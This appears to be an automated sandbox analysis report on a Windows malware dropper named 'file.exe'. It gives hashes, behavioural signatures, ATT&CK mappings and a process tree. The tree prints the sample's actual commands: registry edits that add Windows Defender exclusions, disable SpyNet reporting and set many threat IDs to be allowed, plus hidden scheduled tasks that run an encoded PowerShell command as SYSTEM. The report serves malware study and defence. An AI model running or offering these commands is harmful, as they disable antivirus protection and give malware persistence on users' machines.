Analysis

  • max time kernel
    154s
  • max time network
    54s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-10-2022 03:18

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    39e04a79618a8124f50e36a9da48b0ae

  • SHA1

    f4af312ff672e5dbb48fba0f0da43e834c056a23

  • SHA256

    91f46858f0c0c41956f3a32bd9431d4870c971a0046341c637e5fb66ba2225d6

  • SHA512

    c1b524fb9ea93249102e2a519e5fddb5a891edef37a3bc6a753ae4638fd195d021ef6aa44f9d99e7c7ea13bbbf32cc410a6a12298082a57199bcd69ebcfca2a1

  • SSDEEP

    196608:91O15kTwkxlP3zqeWrQMOJXwqUUtzBvwLsKtSUi:3O15Gwkfqe17rUUtlvZKt5i

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Users\Admin\AppData\Local\Temp\7zSFBBA.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Users\Admin\AppData\Local\Temp\7zS3C9.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4800
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4956
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2976
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4496
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1420
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3128
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3296
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:3424
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:4888
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gxBvHkGXQ" /SC once /ST 01:22:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4260
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gxBvHkGXQ"
                  4⤵
                    PID:4312
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gxBvHkGXQ"
                    4⤵
                      PID:4404
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bGZpGlqvDNKjraWjlZ" /SC once /ST 05:20:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\lxAnxCX.exe\" d8 /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:612
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4912
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:588
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:3680
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:308
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:4188
                      • C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\lxAnxCX.exe
                        C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\lxAnxCX.exe d8 /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3088
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4232

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Execution

                      Scheduled Task

                      1
                      T1053

                      Persistence

                      Scheduled Task

                      1
                      T1053

                      Privilege Escalation

                      Scheduled Task

                      1
                      T1053

                      Discovery

                      Query Registry

                      3
                      T1012

                      System Information Discovery

                      4
                      T1082

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Temp\7zS3C9.tmp\Install.exe
                        Filesize

                        6.8MB

                        MD5

                        6f52a47480dae7c97a64dd5aebb8e426

                        SHA1

                        204fe492e1cdeacea89a4f3b2cf41626053bc992

                        SHA256

                        a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

                        SHA512

                        994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

                      • C:\Users\Admin\AppData\Local\Temp\7zS3C9.tmp\Install.exe
                        Filesize

                        6.8MB

                        MD5

                        6f52a47480dae7c97a64dd5aebb8e426

                        SHA1

                        204fe492e1cdeacea89a4f3b2cf41626053bc992

                        SHA256

                        a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

                        SHA512

                        994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

                      • C:\Users\Admin\AppData\Local\Temp\7zSFBBA.tmp\Install.exe
                        Filesize

                        6.2MB

                        MD5

                        60e1b9be0cc604e0527ac0523e689150

                        SHA1

                        4a0ac355d6c7bb4f41631b7bef01879672b17330

                        SHA256

                        0529307a084043c429ac53b20f309868bcdd24a08b006af2df20cf45d115986f

                        SHA512

                        1cde30f820979d6d72ca23c6afb54aabc57a082e2146607053d88e0a01cf5fceb9f782abeb879170ccba06fbf90105828702332f962032ab454b23165df42e71

                      • C:\Users\Admin\AppData\Local\Temp\7zSFBBA.tmp\Install.exe
                        Filesize

                        6.2MB

                        MD5

                        60e1b9be0cc604e0527ac0523e689150

                        SHA1

                        4a0ac355d6c7bb4f41631b7bef01879672b17330

                        SHA256

                        0529307a084043c429ac53b20f309868bcdd24a08b006af2df20cf45d115986f

                        SHA512

                        1cde30f820979d6d72ca23c6afb54aabc57a082e2146607053d88e0a01cf5fceb9f782abeb879170ccba06fbf90105828702332f962032ab454b23165df42e71

                      • C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\lxAnxCX.exe
                        Filesize

                        6.8MB

                        MD5

                        6f52a47480dae7c97a64dd5aebb8e426

                        SHA1

                        204fe492e1cdeacea89a4f3b2cf41626053bc992

                        SHA256

                        a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

                        SHA512

                        994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

                      • C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\lxAnxCX.exe
                        Filesize

                        6.8MB

                        MD5

                        6f52a47480dae7c97a64dd5aebb8e426

                        SHA1

                        204fe492e1cdeacea89a4f3b2cf41626053bc992

                        SHA256

                        a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

                        SHA512

                        994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

                      • memory/588-153-0x0000000000000000-mapping.dmp
                      • memory/612-156-0x0000000000000000-mapping.dmp
                      • memory/1420-147-0x0000000000000000-mapping.dmp
                      • memory/1728-132-0x0000000000000000-mapping.dmp
                      • memory/2976-143-0x0000000000000000-mapping.dmp
                      • memory/3088-159-0x0000000010000000-0x0000000010B5F000-memory.dmp
                        Filesize

                        11.4MB

                      • memory/3128-142-0x0000000000000000-mapping.dmp
                      • memory/3296-144-0x0000000000000000-mapping.dmp
                      • memory/3424-145-0x0000000000000000-mapping.dmp
                      • memory/4232-162-0x0000000000000000-mapping.dmp
                      • memory/4232-164-0x0000000003B40000-0x0000000004168000-memory.dmp
                        Filesize

                        6.2MB

                      • memory/4232-168-0x0000000004A50000-0x0000000004A6E000-memory.dmp
                        Filesize

                        120KB

                      • memory/4232-163-0x00000000034D0000-0x0000000003506000-memory.dmp
                        Filesize

                        216KB

                      • memory/4232-167-0x00000000042E0000-0x0000000004346000-memory.dmp
                        Filesize

                        408KB

                      • memory/4232-165-0x0000000003A50000-0x0000000003A72000-memory.dmp
                        Filesize

                        136KB

                      • memory/4232-166-0x0000000004270000-0x00000000042D6000-memory.dmp
                        Filesize

                        408KB

                      • memory/4260-149-0x0000000000000000-mapping.dmp
                      • memory/4312-150-0x0000000000000000-mapping.dmp
                      • memory/4404-155-0x0000000000000000-mapping.dmp
                      • memory/4496-146-0x0000000000000000-mapping.dmp
                      • memory/4800-135-0x0000000000000000-mapping.dmp
                      • memory/4800-138-0x0000000010000000-0x0000000010B5F000-memory.dmp
                        Filesize

                        11.4MB

                      • memory/4888-148-0x0000000000000000-mapping.dmp
                      • memory/4912-152-0x000001A3FBD40000-0x000001A3FBD62000-memory.dmp
                        Filesize

                        136KB

                      • memory/4912-154-0x00007FFD6C7C0000-0x00007FFD6D281000-memory.dmp
                        Filesize

                        10.8MB

                      • memory/4912-151-0x00007FFD6C7C0000-0x00007FFD6D281000-memory.dmp
                        Filesize

                        10.8MB

                      • memory/4956-141-0x0000000000000000-mapping.dmp